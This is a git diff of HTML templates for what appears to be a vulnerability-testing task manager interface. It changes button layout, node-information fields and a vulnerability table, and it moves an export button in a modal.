<!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> -->
<div class="col-3 d-flex justify-content-center align-items-center">
<!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->继续, 已结束->重启) -->
<button class="btn btn-primary btn-block" id="actionButton">暂停</button>
<!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->启动,) -->
<button class="btn btn-primary btn-block" id="actionButton">启动</button>
<button class="btn btn-primary btn-block m-2" id="one_step">单步</button>
<button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button>
</div>
</div>
<!-- 下方:Tab 页 -->
<div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist">
@ -257,12 +264,7 @@
</ul>
<div class="tab-content " id="myTabContent">
<!-- 节点树 -->
<div
class="tab-pane fade show active p-3 h-100"
id="nodeTree"
role="tabpanel"
aria-labelledby="nodeTreeTab"
>
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100">
<!-- 左侧:节点树区域 -->
<div class="col-8 h-100">
@ -281,12 +283,13 @@
</div>
<!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100">
<div class="node-info-area mb-3">
<h5>节点信息</h5>
<div class="node-info-area mb-2">
<!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div>
@ -416,9 +419,16 @@
</div>
</div>
<table class="table table-bordered table-hover" id="vulTable">
<colgroup>
<col style="width: 5%;">
<col style="width: 35%;">
<col style="width: 15%;">
<col style="width: 10%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead>
<tr>
<th class="seq-col">序号</th>
<th>序号</th>
<th>节点路径</th>
<th>漏洞类型</th>
<th>漏洞级别</th>

6
web/main/templates/task_manager_modal.html

@ -179,10 +179,6 @@
</li>
</ul>
</nav>
<!-- 导出按钮 -->
<div class="text-end">
<button class="btn btn-primary" id="btnExportSubmitted">导出</button>
</div>
</div>
<!-- 待提交 Tab -->
@ -209,6 +205,8 @@
<div class="modal-footer">
<!-- 关闭按钮 -->
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<!-- &lt;!&ndash; 导出按钮 &ndash;&gt;-->
<!-- <button class="btn btn-primary" id="btnExportSubmitted">导出</button>-->
</div>
</div>
</div>

Loading…
Cancel
Save